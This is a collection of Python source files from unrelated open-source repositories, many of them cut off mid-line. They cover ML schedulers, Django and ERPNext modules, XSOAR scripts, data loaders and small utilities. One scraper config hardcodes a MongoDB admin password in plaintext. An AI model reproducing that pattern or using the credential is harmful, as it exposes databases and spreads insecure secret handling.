5dad240d2cc2e46b2e4c44c60fe6d3857c27e1a2 | 503 | py | Python | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Upload/Upload.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 282 | 2016-06-16T14:41:44.000Z | 2022-03-02T03:43:02.000Z | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Upload/Upload.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 146 | 2016-06-16T08:55:45.000Z | 2020-09-08T10:37:32.000Z | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Upload/Upload.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 94 | 2016-06-16T10:49:07.000Z | 2022-03-28T09:14:03.000Z | from mongodb_consistent_backup.Upload.Gs import Gs # NOQA
from mongodb_consistent_backup.Upload.S3 import S3 # NOQA
from mongodb_consistent_backup.Upload.Rsync import Rsync # NOQA
from mongodb_consistent_backup.Pipeline import Stage
class Upload(Stage):
def __init__(self, manager, config, timer, base_dir, back... | 41.916667 | 107 | 0.767396 |
ab303d716049b91802fc30330e54e2576673484d | 1,778 | py | Python | models.py | wchming1987/Tumbler | e309771779c8eb44e685adbb691a428d29009e05 | [
"Apache-2.0"
] | null | null | null | models.py | wchming1987/Tumbler | e309771779c8eb44e685adbb691a428d29009e05 | [
"Apache-2.0"
] | null | null | null | models.py | wchming1987/Tumbler | e309771779c8eb44e685adbb691a428d29009e05 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding=utf-8 -*-
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
# Mock 服务器
class MockServer(Base):
# table name
__tablename__ = 'mock_server'
# table columns
mock_server_id = Col... | 37.041667 | 78 | 0.727784 |
ab463d475ce69aa7a737a320215656c92796cca8 | 3,670 | py | Python | python/oneflow/nn/optimizer/lambda_lr.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 3,285 | 2020-07-31T05:51:22.000Z | 2022-03-31T15:20:16.000Z | python/oneflow/nn/optimizer/lambda_lr.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 2,417 | 2020-07-31T06:28:58.000Z | 2022-03-31T23:04:14.000Z | python/oneflow/nn/optimizer/lambda_lr.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 520 | 2020-07-31T05:52:42.000Z | 2022-03-29T02:38:11.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 36.336634 | 111 | 0.642779 |
ab4985c93015fa9a0b9f5b8856424f5286eabf48 | 571 | py | Python | py-basics/src/lectures/control-flow/get-strings.py | AndrasTarlos/s4f | bfe2d631a9a2715953d8ac5ddc8ef97d3cefb426 | [
"CC0-1.0"
] | null | null | null | py-basics/src/lectures/control-flow/get-strings.py | AndrasTarlos/s4f | bfe2d631a9a2715953d8ac5ddc8ef97d3cefb426 | [
"CC0-1.0"
] | null | null | null | py-basics/src/lectures/control-flow/get-strings.py | AndrasTarlos/s4f | bfe2d631a9a2715953d8ac5ddc8ef97d3cefb426 | [
"CC0-1.0"
] | 4 | 2021-12-13T15:52:00.000Z | 2022-03-28T13:54:53.000Z | # 7kyu | Interview Question
# https://www.codewars.com/kata/5b358a1e228d316283001892/python
def get_strings(city):
obj = {}
for letter in city.lower():
if letter in obj:
obj[letter] += '*'
elif letter != ' ':
obj[letter] = '*'
items = []
for key in obj:
... | 27.190476 | 63 | 0.516637 |
ab523819e6b22be459cc15d1bcf244150cf9eef0 | 3,807 | py | Python | backend/apps/accounts/urls.py | match4healthcare/match4healthcare | acf69e3b781d715f0a947c2a9df6646e94f1ca6b | [
"MIT"
] | 2 | 2020-03-28T13:56:39.000Z | 2020-03-29T10:16:12.000Z | backend/apps/accounts/urls.py | match4healthcare/match4healthcare | acf69e3b781d715f0a947c2a9df6646e94f1ca6b | [
"MIT"
] | 76 | 2020-03-27T21:53:04.000Z | 2020-03-30T20:27:43.000Z | backend/apps/accounts/urls.py | match4healthcare/match4healthcare | acf69e3b781d715f0a947c2a9df6646e94f1ca6b | [
"MIT"
] | null | null | null | from django.conf import settings
from django.contrib.auth import views as auth_views
from django.urls import include, path
from . import views, views_staff
urlpatterns = [
path(
"logout/",
auth_views.LogoutView.as_view(template_name="registration/logout.html"),
name="logout",
),
pa... | 40.073684 | 100 | 0.684529 |
919975e98452c265d57ea718c96876044b04ad6a | 27,041 | py | Python | src/visuanalytics/analytics/transform/transform.py | mxsph/Data-Analytics | c82ff54b78f50b6660d7640bfee96ea68bef598f | [
"MIT"
] | null | null | null | src/visuanalytics/analytics/transform/transform.py | mxsph/Data-Analytics | c82ff54b78f50b6660d7640bfee96ea68bef598f | [
"MIT"
] | null | null | null | src/visuanalytics/analytics/transform/transform.py | mxsph/Data-Analytics | c82ff54b78f50b6660d7640bfee96ea68bef598f | [
"MIT"
] | null | null | null | """
Modul mit Funktionen zur Berechnung und Umwandlung von Daten.
"""
import numbers
import re
from collections import Counter
from datetime import datetime
from pydoc import locate
from random import randint
from visuanalytics.analytics.control.procedures.step_data import StepData
from visuanalytics.analytics.transfo... | 35.301567 | 170 | 0.666506 |
f405b245d5bf022d51203245a359ed556f93d83f | 6,970 | py | Python | src/main/webapp/download/cuffdiff2links.py | yokuyuki/Enrichr | ed8e4b5639b73a740f2d1e99b068049b114955ca | [
"Apache-2.0"
] | 1 | 2017-09-19T01:36:47.000Z | 2017-09-19T01:36:47.000Z | src/main/webapp/download/cuffdiff2links.py | yokuyuki/Enrichr | ed8e4b5639b73a740f2d1e99b068049b114955ca | [
"Apache-2.0"
] | 3 | 2015-05-09T06:19:08.000Z | 2016-11-03T06:15:03.000Z | src/main/webapp/download/cuffdiff2links.py | yokuyuki/Enrichr | ed8e4b5639b73a740f2d1e99b068049b114955ca | [
"Apache-2.0"
] | null | null | null | import re
import cookielib, urllib2, urllib
import poster
import sys
import os
def EnrichrLink(genesStr,clusterInfo=''):
#post a gene list to enrichr server and get the link.
cj = cookielib.CookieJar()
opener = poster.streaminghttp.register_openers()
opener.add_handler(urllib2.HTTPCookieProce... | 36.11399 | 125 | 0.571879 |
f4348a3957962db127e1c75bb9650bc731b988b4 | 6,432 | py | Python | sandbox/test_graph.py | tliu68/maggot_connectome | ef4bbd2011fa9e03da187fcca8c8c1ca79209a36 | [
"MIT"
] | 1 | 2021-01-20T00:37:31.000Z | 2021-01-20T00:37:31.000Z | sandbox/test_graph.py | tliu68/maggot_connectome | ef4bbd2011fa9e03da187fcca8c8c1ca79209a36 | [
"MIT"
] | 17 | 2021-03-03T14:48:54.000Z | 2021-09-08T15:52:50.000Z | sandbox/test_graph.py | tliu68/maggot_connectome | ef4bbd2011fa9e03da187fcca8c8c1ca79209a36 | [
"MIT"
] | 2 | 2021-03-05T12:23:20.000Z | 2021-03-29T11:49:53.000Z | #%%
import os
from collections import namedtuple
from copy import deepcopy
import numpy as np
import pandas as pd
from pkg.data import load_adjacency, load_node_meta
#%%
def get_paired_inds(meta, check_in=True, pair_key="pair", pair_id_key="pair_id"):
# TODO make the assertions into actual errors
# also t... | 31.37561 | 88 | 0.623601 |
be4773af974fb095cfb30d4cbd709b0d584ac364 | 855 | py | Python | spider/Config.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | null | null | null | spider/Config.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | 2 | 2021-03-31T18:54:16.000Z | 2021-12-13T19:49:08.000Z | spider/Config.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | null | null | null | import os
import sys
import pymongo
import redis
def get_spider_config():
#got
if sys.version_info[0] < 3:
import got
else:
import got3 as got
#mongo
client = pymongo.MongoClient(os.environ['MONGOHOST'],27017)
db = client.tweet
db.authenticate(name='admin',password='lixiepeng')
#redis
r = redis.S... | 19.883721 | 92 | 0.709942 |
fe3bf1ae9f520ebf267a242f4a1ae19c0cf1982e | 3,983 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/module_utils/remote_management/dellemc/test_ome.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/module_utils/remote_management/dellemc/test_ome.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/module_utils/remote_management/dellemc/test_ome.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Dell EMC OpenManage Ansible Modules
# Version 2.0
# Copyright (C) 2019 Dell Inc.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# All rights reserved. Dell, EMC, and other trademarks are trademarks of Dell Inc. or its subsidiaries.
# Other trad... | 50.417722 | 137 | 0.671353 |
fe3e6d315d099d5a767bbcfec8f00dec9898663b | 17,184 | py | Python | src/diagrams/icons/cisco.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | src/diagrams/icons/cisco.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | src/diagrams/icons/cisco.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | # This module is automatically generated by autogen.sh. DO NOT EDIT.
from src.diagrams.icons import _ICONS
class _Cisco(_ICONS):
_type = "cisco"
_icon_dir = "../resources/icons/cisco/svg"
class BasetHub(_Cisco):
_icon = "100basethub.svg"
class a10700(_Cisco):
_icon = "10700.svg"
class GeFcoe(_C... | 14.624681 | 68 | 0.690875 |
fea594e4afdb748ebd1d05ec79943269b3a3155e | 10,417 | py | Python | spotify_gender_ex/genderex.py | Theta-Dev/Spotify-Gender-Ex | 4e5360f115cb3302397b8e1ad1b11ad96b887ad2 | [
"MIT"
] | 1 | 2022-02-05T16:40:13.000Z | 2022-02-05T16:40:13.000Z | spotify_gender_ex/genderex.py | Theta-Dev/Spotify-Gender-Ex | 4e5360f115cb3302397b8e1ad1b11ad96b887ad2 | [
"MIT"
] | 31 | 2021-06-17T11:59:33.000Z | 2022-03-19T07:05:18.000Z | spotify_gender_ex/genderex.py | Theta-Dev/Spotify-Gender-Ex | 4e5360f115cb3302397b8e1ad1b11ad96b887ad2 | [
"MIT"
] | null | null | null | import os
import re
import subprocess
from datetime import datetime
from typing import Iterable, Optional
import click
from importlib_resources import files
from spotify_gender_ex import __version__
from spotify_gender_ex import downloader
from spotify_gender_ex.replacement_table import ReplacementManager, Replacemen... | 39.759542 | 118 | 0.6211 |
22d60f7ecd5d7a1c2130bfb817f524c2c27afced | 5,524 | py | Python | src/test/tests/hybrid/matvf.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/test/tests/hybrid/matvf.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/test/tests/hybrid/matvf.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: expressions.py
#
# Tests: mesh - 3D unstructured, multi- domain
# 3D rectilinear, single domain
# plots - Pseudocolor
# operators - Thresh... | 22.184739 | 78 | 0.683201 |
fe13432a81088e2daed80a83c29f8a3416e1e995 | 3,583 | py | Python | frappe-bench/apps/erpnext/erpnext/selling/page/point_of_sale/point_of_sale.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/selling/page/point_of_sale/point_of_sale.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/selling/page/point_of_sale/point_of_sale.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe, json
from frappe.utils.nestedset import get_root_of
from frappe.utils import cint
from erpnext.accounts.doctype.pos_profile.pos_profile i... | 30.887931 | 103 | 0.715601 |
43123ee6f6e377c30d6475dc86e656c54dd44e93 | 10,657 | py | Python | official/nlp/gnmt_v2/src/dataset/bi_data_loader.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/nlp/gnmt_v2/src/dataset/bi_data_loader.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/nlp/gnmt_v2/src/dataset/bi_data_loader.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 46.334783 | 120 | 0.493478 |
4ab9e140d214b48db3c4a65103f03b8aa0ea624d | 503 | py | Python | 1249/Fcat_1249_stack.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 1249/Fcat_1249_stack.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 1249/Fcat_1249_stack.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | class Solution:
def minRemoveToMakeValid(self, s: str) -> str:
stack = []
result = ''
for index in range(len(s)):
if s[index] == '(':
stack.append(len(result))
elif s[index] == ')':
if stack:
stack.pop()
... | 29.588235 | 50 | 0.395626 |
43846d09b541ea63aa834b8eccbfaacf8a155c0c | 998 | py | Python | apps/mail/models.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 1 | 2017-01-08T13:21:43.000Z | 2017-01-08T13:21:43.000Z | apps/mail/models.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 17 | 2018-12-03T14:22:14.000Z | 2021-07-14T15:15:12.000Z | apps/mail/models.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 2 | 2018-12-03T14:58:49.000Z | 2019-12-01T13:24:42.000Z | from django.core.validators import RegexValidator
from django.db import models
class Group(models.Model):
TYPES = [
("O", "Organization"),
("F", "Function"),
("P", "Person"),
]
name = models.CharField(max_length=255)
type = models.CharField(max_length=1, choices=TYPES)
gro... | 27.722222 | 112 | 0.619238 |
6079b09bacb84b9df079e26ef0e9da62ddef41fa | 1,158 | py | Python | scripts/qt1/pyqt_sw04_push_button.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt1/pyqt_sw04_push_button.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt1/pyqt_sw04_push_button.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | #!/usr/bin/python3
import sys
from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QMainWindow
from PyQt5.QtWidgets import QPushButton
# --------------------------------------------------------------------------------------
# pyqt_sw04_push_button.py
# Beispiel fuer Push_Button mit Click-Event
# https://pythonprogra... | 30.473684 | 88 | 0.579447 |
c72ae4c392fb6384c321d09e3f217fab5a3220cb | 1,546 | py | Python | marsyas-vamp/marsyas/scripts/sfplugin-test-wrapper.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | marsyas-vamp/marsyas/scripts/sfplugin-test-wrapper.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | marsyas-vamp/marsyas/scripts/sfplugin-test-wrapper.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import os
import sys
import subprocess
import shutil
import commands
def runCommand(workingDir, bextractLocation, sfpluginLocation, extraBextractCmdArgs,
mfFileLocation, outputMplFile, testFile, goodFilename):
os.chdir(workingDir)
bextractCmd = ("%s %s -t %s -p %s") % (be... | 30.92 | 113 | 0.672057 |
c791926dce9c36635be9b4d781ebae478d73b858 | 4,085 | py | Python | pvtool/forms.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | 1 | 2019-10-31T13:34:12.000Z | 2019-10-31T13:34:12.000Z | pvtool/forms.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | 1 | 2019-05-27T13:03:25.000Z | 2019-05-27T13:03:25.000Z | pvtool/forms.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | null | null | null | """All forms required for User input"""
from flask_wtf import FlaskForm
from flask_wtf.file import FileField, FileRequired
from wtforms import BooleanField, StringField, validators, SelectField, SubmitField, FloatField, IntegerField,\
PasswordField
from wtforms.validators import DataRequired, Length, EqualTo
clas... | 44.89011 | 114 | 0.719951 |
90aecde4a5e0eee031783ec59a07664491a235f8 | 13,484 | py | Python | frappe-bench/apps/erpnext/erpnext/regional/report/gstr_1/gstr_1.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/report/gstr_1/gstr_1.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/report/gstr_1/gstr_1.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe, json
from frappe import _
from frappe.utils import flt
from datetime import date
def execute(filters=None):
return Gstr1Report(filters).run()
... | 27.687885 | 100 | 0.621255 |
90c523bfca8565272e379aaeb5b9eefaa24edd7b | 166 | py | Python | src/autograph/services/core/auth.py | RobetSlovev39/AutoGraph | c8bdb358b95143ab0d8c6f7c475a6c21f7a76b95 | [
"MIT"
] | null | null | null | src/autograph/services/core/auth.py | RobetSlovev39/AutoGraph | c8bdb358b95143ab0d8c6f7c475a6c21f7a76b95 | [
"MIT"
] | null | null | null | src/autograph/services/core/auth.py | RobetSlovev39/AutoGraph | c8bdb358b95143ab0d8c6f7c475a6c21f7a76b95 | [
"MIT"
] | null | null | null | from ..autograph import autograph_session
def auth() -> bool:
''' Обновление token'а '''
autograph_session.auth()
return autograph_session.auth_params
| 18.444444 | 41 | 0.710843 |
90d9e33423c3b5e74c1d46ee0979ceeb7babc44d | 835 | py | Python | baccoapp/mysandwich/migrations/0004_auto_20190614_1758.py | msienkiewicz7/baccoapp | d647ca205fdf06fe57fda7b6db164ae7d3387dad | [
"MIT"
] | null | null | null | baccoapp/mysandwich/migrations/0004_auto_20190614_1758.py | msienkiewicz7/baccoapp | d647ca205fdf06fe57fda7b6db164ae7d3387dad | [
"MIT"
] | null | null | null | baccoapp/mysandwich/migrations/0004_auto_20190614_1758.py | msienkiewicz7/baccoapp | d647ca205fdf06fe57fda7b6db164ae7d3387dad | [
"MIT"
] | null | null | null | # Generated by Django 2.2 on 2019-06-14 17:58
from django.db import migrations, models
import mysandwich.models
class Migration(migrations.Migration):
dependencies = [
('mysandwich', '0003_auto_20190614_1752'),
]
operations = [
migrations.RemoveField(
model_name='ingredient'... | 28.793103 | 125 | 0.628743 |
d3ef17c2cb1c9e9c9d6f514dc75cc67adc0c91a3 | 22,147 | py | Python | python/oneflow/test/modules/test_math_ops.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | null | null | null | python/oneflow/test/modules/test_math_ops.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | null | null | null | python/oneflow/test/modules/test_math_ops.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | null | null | null | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 32.761834 | 88 | 0.631056 |
316ff48112ebf614ed3c7ae2ad608aad63276400 | 1,126 | py | Python | Packs/QRadar/Scripts/QRadarPrintAssets/QRadarPrintAssets.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/QRadar/Scripts/QRadarPrintAssets/QRadarPrintAssets.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/QRadar/Scripts/QRadarPrintAssets/QRadarPrintAssets.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import json
import demistomock as demisto # noqa: F401
import yaml
from CommonServerPython import * # noqa: F401
def main():
try:
incident = demisto.incident()
assets = incident.get('CustomFields', {}).get('assettable', {})
if not assets:
return ''
if not isinstanc... | 29.631579 | 104 | 0.599467 |
31da1300f494e5dfdc2551215ac63e681ceb08c5 | 154 | py | Python | setting.py | MaliziaGrimm/Lohnvorerfassung-50a-fuer-DATEV | 41b99deacc5bfee6562907de109a8ad5af917d01 | [
"MIT"
] | null | null | null | setting.py | MaliziaGrimm/Lohnvorerfassung-50a-fuer-DATEV | 41b99deacc5bfee6562907de109a8ad5af917d01 | [
"MIT"
] | null | null | null | setting.py | MaliziaGrimm/Lohnvorerfassung-50a-fuer-DATEV | 41b99deacc5bfee6562907de109a8ad5af917d01 | [
"MIT"
] | null | null | null | Flask_Server_Name = 'localhost:17102'
Version_Titel = 'ARMTool V0.2d'
Version_Program = 'Tool Erfassung Abrechnungsdaten §50a mit DATEV Export V 0.2d'
| 38.5 | 81 | 0.779221 |
c341f4b8614aa4b2195e155b31f66b4b94c25a96 | 136 | py | Python | python/python_backup/PRAC_PYTHON/ab20.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_backup/PRAC_PYTHON/ab20.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_backup/PRAC_PYTHON/ab20.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | def add():
c=input("Enter value:");
d=input("Enter value:");
c=c+d
return c
c=add();
print"Sum:",c
| 17 | 32 | 0.448529 |
5eef7f4a3c8475048d93371f3a52cac321bdad36 | 285 | py | Python | Curso_Python/Secao5-modulos-uteis/129_String_Template/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao5-modulos-uteis/129_String_Template/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao5-modulos-uteis/129_String_Template/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | from string import Template
from datetime import datetime
with open('index.html', 'r') as html:
template = Template(html.read())
data_atual = datetime.now().strftime('%d/%m/%Y')
body_msg = template.safe_substitute(nome='Pedro Henrique', data=data_atual)
print(body_msg)
| 25.909091 | 79 | 0.719298 |
6f22d8437b17991220d918a137ff0c251839ae26 | 1,318 | py | Python | rating/response_duration.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 19 | 2018-04-20T11:03:41.000Z | 2022-01-12T20:58:56.000Z | rating/response_duration.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 160 | 2018-04-05T16:12:59.000Z | 2022-03-01T13:01:27.000Z | rating/response_duration.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 8 | 2018-11-05T13:07:57.000Z | 2021-06-11T11:46:43.000Z | """
This looks at the response duration(s) and scores based on the bucket
the value is in. Fast responses get one point, slower half a point,
more than a seconds gets nothing.
"""
from rating.abstract_rater import AbstractRater
class Rater(AbstractRater):
rating_type = 'number'
default_value = False
depe... | 28.042553 | 80 | 0.584977 |
48f1f491f64c80f42e8ad25e63a81a477b2b4db1 | 3,162 | py | Python | Packs/MapPattern/Scripts/MapPattern/MapPattern_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/MapPattern/Scripts/MapPattern/MapPattern_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/MapPattern/Scripts/MapPattern/MapPattern_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
import json
def side_effect_demisto_dt(obj, dt):
try:
for month in ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'):
pattern = ".={Jan:'01', Feb: '02', Mar:'03', Apr:'04', May:'05', Jun:'06', " +\
"Jul:'07'... | 36.344828 | 111 | 0.429159 |
7d9303485e7de3de82fc9ace2feadf1542719653 | 2,801 | py | Python | Packs/Campaign/Scripts/SplitCampaignContext/SplitCampaignContext.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Campaign/Scripts/SplitCampaignContext/SplitCampaignContext.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Campaign/Scripts/SplitCampaignContext/SplitCampaignContext.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
from typing import Tuple
BELOW_THRESHOLD_ITEMS_CONTEXT_PATH = 'LowerSimilarityIncidents'
ABOVE_THE_THRESHOLD_ITEMS_CONTEXT_PATH = 'incidents'
def save_to_context(items: list, context_path: str, delete_existing: bool = False, i... | 36.855263 | 113 | 0.687255 |
7d9648c5d8a664b65a031d7839d2f53871174a47 | 96 | py | Python | UAS/UAS 6/Class.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
] | null | null | null | UAS/UAS 6/Class.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
